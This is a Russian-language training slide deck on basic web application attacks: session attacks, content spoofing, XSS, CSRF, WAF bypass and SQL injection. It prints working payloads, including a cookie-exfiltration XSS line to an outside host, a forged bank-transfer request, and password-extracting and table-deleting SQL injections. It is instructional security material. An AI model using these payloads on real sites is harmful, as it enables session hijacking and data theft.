Атаки на web-приложения. Основы

59
Атаки на web-приложения Основы Лепихин Владимир Учебный центр «Информзащита»

Transcript of Атаки на web-приложения. Основы

Page 1: Атаки на web-приложения. Основы

Атаки на web-приложенияОсновы

Лепихин ВладимирУчебный центр «Информзащита»

Page 2: Атаки на web-приложения. Основы

РазминкаАтаки на механизмы аутентификации

Часть 1

Page 3: Атаки на web-приложения. Основы

Классификация

Page 4: Атаки на web-приложения. Основы

Компоненты web-приложения

Клиент

СерверПриложений

СУБД

Web-сервер

Page 5: Атаки на web-приложения. Основы

Статистика

IBM X-Force 2011 Trend and Risk Report

Page 6: Атаки на web-приложения. Основы

Подбор

Подбор

Page 7: Атаки на web-приложения. Основы

Варианты подбора

• Подбор учётных данных• Подбор идентификатора сессии• Подбор названий директорий и файлов• Подбор критичных данных в полях ввода

Page 8: Атаки на web-приложения. Основы

Credential/session prediction

Предсказание идентификационных данных сессии

Page 9: Атаки на web-приложения. Основы

Credential/session prediction

• Предсказание или угадывание уникального идентификатора сессии пользователя с целью перехвата текущей сессии или последующей работы с web-сервером от имени скомпрометированного пользователя

Page 10: Атаки на web-приложения. Основы

Credential/session prediction

• HTTP – Stateless протокол • Для каждого запрашиваемого объекта

создается собственная сессия TCP• Аутентифицирована только текущая сессия• На практике многие приложения требуют

аутентификации нескольких соединений

Page 11: Атаки на web-приложения. Основы

Credential/session prediction

Идентификатор сессии сохраняется в поле cookie, скрытых полях форм или URL. Если атакующий имеет возможность определить алгоритм, используемый для генерации идентификатора сессии, он может :• подключиться к серверу, используя текущий

идентификатор сессии;• вычислить или подобрать следующий

идентификатор сессии;• присвоить полученное значение идентификатора

cookie/скрытому полю формы/URL.

Page 12: Атаки на web-приложения. Основы

Фиксация сессии

Фиксация сессии

Page 13: Атаки на web-приложения. Основы

Фиксация сессии

Присвоение идентификатору сессии пользователя фиксированного значения, известного злоумышленнику, обычно выполняется в три стадии:• Установление сессии• Фиксация сессии• Подключение к сессии

Page 14: Атаки на web-приложения. Основы

Практическая работа 1

Атаки на механизмы аутентификации:• Подбор• Перехват текущей сессии

Page 15: Атаки на web-приложения. Основы

Самое слабое звено

Часть 2

Page 16: Атаки на web-приложения. Основы

Клиент – наименее защищённый компонент

Клиент

СерверПриложений

СУБД

Web-сервер

Page 17: Атаки на web-приложения. Основы

Подмена содержимого

Подмена содержимого

Page 18: Атаки на web-приложения. Основы

Подмена содержимого

• Используя эту технику, злоумышленник заставляет пользователя поверить, что страницы сгенерированы Web-сервером, а не переданы из внешнего источника.

Page 19: Атаки на web-приложения. Основы

Подмена содержимого

• Некоторые Web-страницы создаются с использованием динамических источников HTML-кода.

• Например, расположение фрейма (<frame src=" http://foo.example/file.html">) может передаваться в параметре URL(http://foo.example/page?frame_src=http://foo.example/file.html ).

• Атакующий может заменить значение параметра "frame_src" на "frame_src= http://attacker.example/spoof.html". При отображении результирующей страницы в строке адреса браузера будет отображаться адрес сервера (foo.example), но так же на странице будет присутствовать внешнее содержимое, загруженное с сервера атакующего (attacker.example), замаскированное под легальный контент.

Page 20: Атаки на web-приложения. Основы

Подмена содержимого

• Если атакующий спровоцировал пользователя на переход по специально созданной ссылке, у пользователя может создаться впечатление, что он просматривает данные с сервера, в то время как часть их была сгенерирована злоумышленником.

• Таким образом, произойдет «дефейс» сайта http://foo.example на стороне пользователя, поскольку содержимое сервера будет загружено с сервера http://attacker.example. Эта атака так же может использоваться для создания ложных страниц, таких как формы ввода пароля, пресс-релизы и т.д.

Page 21: Атаки на web-приложения. Основы

Подмена содержимого

• Text only content spoofing • Markup reflected content spoofing

Page 22: Атаки на web-приложения. Основы

Markup reflected content spoofing(пример)

• Web-сервер динамически формирует фреймы на странице с пресс-релизами компании.

• При переходе по ссылке http://foo.example/pr?pg=http://foo.example/pr/01012003.html загружается страница следующего содержания:<HTML><FRAMESET COLS="100, *"><FRAME NAME="pr_menu" SRC="menu.html"><FRAME NAME="pr_content"

SRC="http://foo.example/pr/01012003.html”></FRAMESET></HTML>

Page 23: Атаки на web-приложения. Основы

Markup reflected content spoofing(пример)

• Фрейм "pr_content" отображает страницу, указанную в параметре "pg" HTTP-запроса. Но, поскольку атакующий изменил нормальный URL на значение http://foo.example/pr?pg=http://attacker.example/spoofed_press_release.html и сервер не проводит проверки параметра "pg", результирующий HTML код будет иметь следующий вид:

<HTML><FRAMESET COLS="100, *"><FRAME NAME="pr_menu" SRC="menu.html"><FRAME NAME="pr_content" SRC="http://attacker.example/spoofed_press_release.html"></FRAMESET></HTML>

• Для конечного пользователя содержимое, загруженное с сервера "attacker.example" будет выглядеть, как страница сервера "foo.example".

Page 24: Атаки на web-приложения. Основы

Межсайтовое выполнение сценариев

Межсайтовое выполнение сценариев

Page 25: Атаки на web-приложения. Основы

Межсайтовое выполнение сценариев

• Передача серверу HTML-кода, содержащего сценарии, которые впоследствии выполняются браузером клиента

• Переданный код исполняется в контексте безопасности (или зоне безопасности) уязвимого сервера

• Различают два варианта XSS:– Отражённый (non-persistent)– Сохранённый (persistent)

Page 26: Атаки на web-приложения. Основы

Отражённый вариантWeb-сервер

http://web/?search="><script>alert('XSS')</script>

...<tr> <td valign="center"><input class="inputtext" type="text" name="q“ value=""><script>alert('XSS')</script>"></td> <td valign="center"><input type="submit" class="inputbutton" value="Искать"></td></tr>...

Page 27: Атаки на web-приложения. Основы

Сохранённый вариант<script>

alert(document.cookie)</script>

<script>alert(document.cookie)

</script>

Page 28: Атаки на web-приложения. Основы

Использование

• Перехват сессии пользователя• Доступ к данным в контексте браузера• Перенаправление, подмена содержимого

Page 29: Атаки на web-приложения. Основы

Где встречается XSS?

• HTML-тэг• Тело JavaScript/VBScript/etc (eq DOM-

based)• Код HTML• Параметр тэга HTML• Java/Flash приложения• ActiveX• …

Page 30: Атаки на web-приложения. Основы

Пример обнаружения и использования• Возможный метод обнаружения уязвимости

/?id="><script>alert(1)</script>

– HTML-код возвращаемой страницы примет вид

В параметре тега …<font size=""><script>alert(1)</script>"…

В тексте …<p>"><script>alert(1)</script></p>…

– В результате браузер выполнит JavaScript-код

• Пример практического использования: "><script src=http://host/script.js></script>

Page 31: Атаки на web-приложения. Основы

Пример обнаружения и использования

• Уязвимый HTML-код:…<IMG SRC="$filename">…

• Эксплуатация:/?filename="onerror=alert('XSS');"/?filename="onerror=javascript:alert('XSS');"…

• HTML-код возвращаемой страницы примет вид:…<IMG SRC=""onerror=alert('XSS');"">…

• Пример практического использования:/?filename="onerror="xss=new/**/Image().src='http://host/sniff?

c='%2Bescape(document.cookie);"

Page 32: Атаки на web-приложения. Основы

Пример использования (DOM-based)

• Уязвимый код:...<select><script>document.write("<OPTION value=1>"+document.location.href.substring

(document.location.href.indexOf("default=")+8)+"</OPTION>");document.write("<OPTION value=2>English</OPTION>");</script></select>...• Штатная работа сценария:

/?default=Russia/?default=French…

• Эксплуатация:/?default=<script>alert(document.cookie)</script>

Page 33: Атаки на web-приложения. Основы

Как это работает?Web-сервер

1. fuzzing, поиск уязвимости

2. Передача «заряженной» ссылки:http://web/?search="><script>...</script>

3. Переход по ссылке

4. Выполнение исполняемогокода в браузере пользователя

5. Например, передача Web-сессии (cookies)

6. Работа с Web-приложением от имени атакованного пользователя

Page 34: Атаки на web-приложения. Основы

Подделка HTTP-запросов• Уязвимость типа "Подделка HTTP-запросов" (Cross-Site Request

Forgery, CSRF, XSRF)

– сложности при автоматизированном обнаружении

– Однако эта ошибка встречается в том или ином виде во многих веб-приложениях

– Степень опасности уязвимости CSRF зависит от функций и задач, решаемых приложением

• Cross-Site Request Forgery – вид атаки, использующий функцию браузера по автоматической отправке идентификатора сессии с каждым GET/POST-запросом к веб-приложению

• Часто применяется связка XSS + CSRF

Page 35: Атаки на web-приложения. Основы

Как это работает?Интернет-форум

1. Публикация сообщения:<img src=http://ibanking/action?account=12345&amount=500&for=54321>

Интернет-банк(ibanking)

2. Пользователь посещает форум

3. Браузер загружает картинку по адресу:http://ibanking/action?...

4. Если сессия пользователя существует, то…

Page 36: Атаки на web-приложения. Основы

Фильтры (WAF)http://server/?id=6329&print=Y

Нас атакуют!

Ахтунг!!!

WAF Webserverhttp://server/?id=5351

http://server/?id=8234

http://server/?id="><script>...http://server/?id=1+union+select...

http://server/?id=/../../../etc/passwd

Нормализация данныхDecode HTML entities (e.g. &#99;, &quot;, &#xAA;)Escaped characters (e.g. \t, \001, \xAA, \uAABB)Null byte string termination...

Поиск сигнатуры /(sel)(ect.+fr)(om)/is/(uni)(on.+sel)(ect)/is...

Page 37: Атаки на web-приложения. Основы

Методы обхода WAF• Фундаментальные ограничения технологии

– Неспособность полностью защитить Web-приложение от всех возможных уязвимостей

• Общие проблемы

– балансировка между эффективностью фильтра и минимизацией ошибок блокировки легитимного трафика

– Обработка возвращаемого клиенту трафика• Уязвимости реализации

– Технологии нормализации запроса

– Использование новых техник эксплуатации уязвимостей в Web (HTTP Parameter Pollution, HTTP Parameter Fragmentation, замена null-byte и т.п.)

Page 38: Атаки на web-приложения. Основы

Методы обхода WAF• Сохраненный вариант XSS

В случае если удалось «протащить» XSS через фильтр, WAF не сможет воспрепятствовать реализации атаки

• Отраженный вариант XSS в JavaScript-коде (инъекция JavaScript)Пример: <script> ... setTimeout(\"writetitle()\",$_GET[xss]) ... </script>Эксплуатация: /?xss=500); alert(document.cookie);//

• DOM-based XSSПример: <script> ... eval($_GET[xss]); ... </script>Эксплуатация: /?xss=document.cookie

•Аналогичные проблемы наблюдаются у фильтров защиты от XSS на стороне клиента client-side (например, IE8)

Page 39: Атаки на web-приложения. Основы

Возможные способы кодирования JavaScript

Пример: <script>alert(1)</script>Hex-кодирование (URL-представление)

%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E

HTML-кодирование

&#x3C;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x3C;&#x2F;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;

&#60&#115&#99&#114&#105&#112&#116&#62&#97&#108&#101&#114&#116&#40&#49&#41&#60&#47&#115&#99&#114&#105&#112&#116&#62

UTF7

+ADw-SCRIPT+AD4-alert('1');+ADw-/SCRIPT+AD4-… UTF8, base64, escape-encoding (style), etc

Page 40: Атаки на web-приложения. Основы

Практическая работа 2

• Подмена содержимого• Межсайтовое выполнение сценариев• Расщепление запроса

Page 41: Атаки на web-приложения. Основы

Главная цель

Часть 3

Page 42: Атаки на web-приложения. Основы

Доступ к даннымКлиент

СерверПриложений

СУБД

Web-сервер

Page 43: Атаки на web-приложения. Основы

Внедрение SQL-кода

Внедрение SQL-кода

Page 44: Атаки на web-приложения. Основы

Внедрение SQL-кода

• Метод обхода логики приложения и получения непосредственного доступа к данным путем внедрения во входную информацию, обрабатываемую приложением, операторов языка SQL

Page 45: Атаки на web-приложения. Основы

Внедрение SQL-кода

http://Server/inject.asp?id=1

id = Request.querystring("id")SQL_query = "SELECT * FROM test where id="+idSet RS = MyConn.Execute(SQL_query)

inject.asp

select * from test where id=1

Page 46: Атаки на web-приложения. Основы

Внедрение SQL-кодаhttp://Server/inject.asp?id=1;delete from test

id = Request.querystring("id")SQL_query = "SELECT * FROM test where id="+idSet RS = MyConn.Execute(SQL_query)

inject.asp

select * from test where id=1;delete from test

Page 47: Атаки на web-приложения. Основы

Ещё примерWeb-сервер СУБД

http://web/?id=6329&print=Y

….SELECT * from news where id = 6329….

Page 48: Атаки на web-приложения. Основы

Ещё примерWeb-сервер СУБД

http://web/?id=6329+union+select+id,pwd,0+from...

….SELECT * from news where id = 6329 union select id,pwd,0 from…….

Page 49: Атаки на web-приложения. Основы

Последствия внедрения SQL-кода

• Обход ограничений пользовательского ввода• Получение доступа к данным• Модификация данных• Получение доступа к файловой системе

Page 50: Атаки на web-приложения. Основы

Разновидности внедрения SQL-кода

• Обычное• Слепое

– Blind– Double Blind

Page 51: Атаки на web-приложения. Основы

Обычное внедрение SQL-кода• Обнаружение уязвимости

/?id=1+ORDER+BY+100

– SQL запрос примет вид

SELECT id, name from table where id =1 ORDER BY 100

– В результате может быть получено следующее сообщение об ошибке

ERROR 1054 (42S22): Unknown column '100' in 'order clause'• Получение имен таблиц/колонок (information_schema/перебор) и последующее получение данных

из найденных таблиц/?id=1+union+select+0,concat_ws(0x3a,table_name,column_name)+from+information_schema.columns

– SQL запрос примет вид

SELECT id, name from table where id =1 union select 0,concat_ws(0x3a,table_name,column_name) from information_schema.columns

– В результате может быть получена требуемая информация в формате

| 0 | table1:column1 || 0 | table1:column2 |

Page 52: Атаки на web-приложения. Основы

SQL Injection – Различия СУБДMySQL MSSQL MS Access Oracle DB2 PostgreSQL

Объединение строкconcat(,)

concat_ws(delim,)' '+' ' " "&" " ' '||' '

'' concat ''" "+" "

' '||' '' '||' '

Комментарии -- и /**/ и # -- и /* Нет -- и /* -- -- и /*

Объединение запросов

union union и ; union union union union и ;

Подзапросы v.4.1 >= Да Нет Да Да Да

Хранимые процедуры Нет Да Нет Да Нет Да

Наличие information_schema или его

аналогаv.5.0 >= Да Да Да Да Да

Особенности эксплуатации для разных СУБДПример (MySQL): SELECT * from table where id = 1 union select 1,2,3Пример (PostgreSQL): SELECT * from table where id = 1; select 1,2,3Пример (Oracle): SELECT * from table where id = 1 union select null,null,null from sys.dual

Page 53: Атаки на web-приложения. Основы

SQL Injection – Различия СУБД• MySQL 4.1>=

– Первая запись/?id=1 union select name,123 from users limit 0,1– Вторая запись/?id=1 union select name,123 from users limit 1,1

• MSSQL– Первая запись/?id=1 union select table_name,123 from (select row_number() over (order by name) as

rownum, name from users) as t where t.rownum=1– Вторая запись/?id=1 union select table_name,123 from (select row_number() over (order by name) as

rownum, name from users) as t where t.rownum=2

• PostgreSQL– Первая запись/?id=1 union select name, null from users limit 1 offset 0– Вторая запись/?id=1 union select name, null from users limit 1 offset 1

ИЛИ– Первая запись/?id=1; select name, 123 from users limit 1 offset 0– Вторая запись/?id=1; select name, 123 from users limit 1 offset 1

Page 54: Атаки на web-приложения. Основы

Blind SQL Injection

• Главная сложность: отсутствует сообщение об ошибке

• Эксплуатируя уязвимость SQL Injection «слепым» методом, атакующий манипулирует логикой работы приложения (true/false)

Page 55: Атаки на web-приложения. Основы

Способы обнаружения Blind SQL-инъекций

http://site/?param=-1 OR 1=1http://site/?param=-1 OR 1=1--...http://site/?param=-1'http://site/?param=-1' AND 1=2...http://site/?param=-1' OR '1'='1...http://site/?param=-1"/*...http://site/?param=2http://site/?param=1http://site/?param=2-1...http://site/?param=1' AND 1=1http://site/?param=1' AND '1'='1…и т.д.

Page 56: Атаки на web-приложения. Основы

Способы использованияBlind SQL-инъекций

• Подбор первого символа у первой записи в таблице/?id=1+AND+555=if(ord(mid((select+pass+from+users+limit+0,1),1,1))=97,555,777)

– SQL запрос примет вид

SELECT id, name from table where id =1 AND 555=if(ord(mid((select pass from users limit 0,1),1,1))=97,555,777)

– В случае, если таблица «users» содержит колонку «pass» и первый символ первой записи этой колонки равен 97 (символ «a») то, СУБД вернет TRUE. В противном случае – FALSE.

Page 57: Атаки на web-приложения. Основы

Способы использованияBlind SQL-инъекций

• Подбор второго символа у первой записи в таблице/?id=1+AND+555=if(ord(mid((select+pass+from+users+limit+0,1),2,1))=97,555,777)

– SQL запрос примет вид

SELECT id, name from table where id =1 AND 555=if(ord(mid((select pass from users limit 0,1),2,1))=97,555,777)

– В случае, если таблица «users» содержит колонку «pass» и первый символ первой записи этой колонки равен 97 (символ «a») то, СУБД вернет TRUE. В противном случае – FALSE.

Page 58: Атаки на web-приложения. Основы

Double Blind SQL Injection• Эксплуатация уязвимости Double Blind SQL Injection

основана на временных задержках

• Для повышения быстродействия можно ограничить набор подбираемых символов.

• Классическая реализация: /?id=1+AND+if((ascii(lower(substring((select password from user limit 0,1),0,1))))=97,1,benchmark(2000000,md5(now())))

– На основе временной задержки ответа от web-сервера можно сделать вывод, что подбираемый символ угадан

– Манипулируя со значением 2000000, можно добиться приемлемой скорости под конкретное приложение

– Аналог benchmark() - sleep(). Функция sleep() является более безопасной для подобных целей, т.к. не использует процессорные ресурсы сервера

Page 59: Атаки на web-приложения. Основы

Практическая работа 3

• Внедрение SQL-кода